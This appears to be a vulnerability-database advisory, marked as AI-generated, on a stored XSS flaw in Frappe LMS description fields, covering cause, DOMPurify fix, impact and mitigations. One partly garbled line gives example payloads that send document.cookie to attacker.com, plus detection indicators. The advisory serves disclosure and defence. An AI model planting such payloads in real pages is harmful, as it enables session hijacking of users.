
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-67730 is a stored Cross-Site Scripting (XSS) vulnerability in Frappe Learning Management System (LMS) that allows authenticated users to inject malicious HTML and JavaScript through description fields in Job, Course, and Batch forms. The injected scripts are then executed in the browsers of other users who view the affected content. It affects Frappe LMS versions 2.0.0 through 2.41.x (all versions prior to 2.42.0). The vulnerability was published on December 12, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Feedly).
The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). Description fields in the Job, Course, and Batch forms accepted arbitrary HTML and JavaScript without sanitization before storing and rendering the content. The fix, applied in commit 0877e32, introduced a centralized sanitizeHTML() utility function using DOMPurify with an allowlist of safe tags (b, i, em, strong, a, p, br, ul, ol, li, img) and attributes (href, target, src), and applied it consistently across BatchForm.vue, CourseForm.vue, JobForm.vue, AssignmentForm.vue, and EditProfile.vue (GitHub Commit, GitHub Advisory). Exploitation requires low-privilege authenticated access and passive user interaction from a victim viewing the malicious content.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other users who view the poisoned Job, Course, or Batch pages. This can result in session token theft, account hijacking, content defacement, and redirection of victims to malicious websites. Both confidentiality and integrity are impacted at a low level; availability is not affected (GitHub Advisory, Feedly).
No public proof-of-concept exploit was available at the time of disclosure, though a GitHub repository (https://github.com/Dharan10/CVE-2025-67730) attributed to the reporter Dharan Raghunathan appeared shortly after disclosure. There is no evidence of in-the-wild exploitation or CISA KEV catalog inclusion. The EPSS score is approximately 0.047% (very low probability of exploitation in the near term) (Feedly, GitHub Advisory).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an image-based payload like <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>.<script>, onerror=, javascript:) in description field parameters.<script> tags, event handler attributes (onerror, onload, onclick), or encoded JavaScript payloads.Upgrade Frappe LMS to version 2.42.0 or later, which applies HTML sanitization via DOMPurify to all affected description fields (GitHub Advisory, GitHub Commit). As interim mitigations, restrict the ability to create or edit Job, Course, and Batch forms to trusted users only, and implement a Content Security Policy (CSP) header to limit script execution sources. Regularly audit user-generated content in description fields for suspicious HTML or script tags.
The vulnerability was reported by security researcher Dharan Raghunathan, who subsequently published a dedicated GitHub repository for the CVE. A Bluesky post from the undercode.bsky.social account referenced the vulnerability, indicating minor community awareness. No major vendor statements beyond the Frappe security advisory or significant media coverage have been observed (Feedly).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."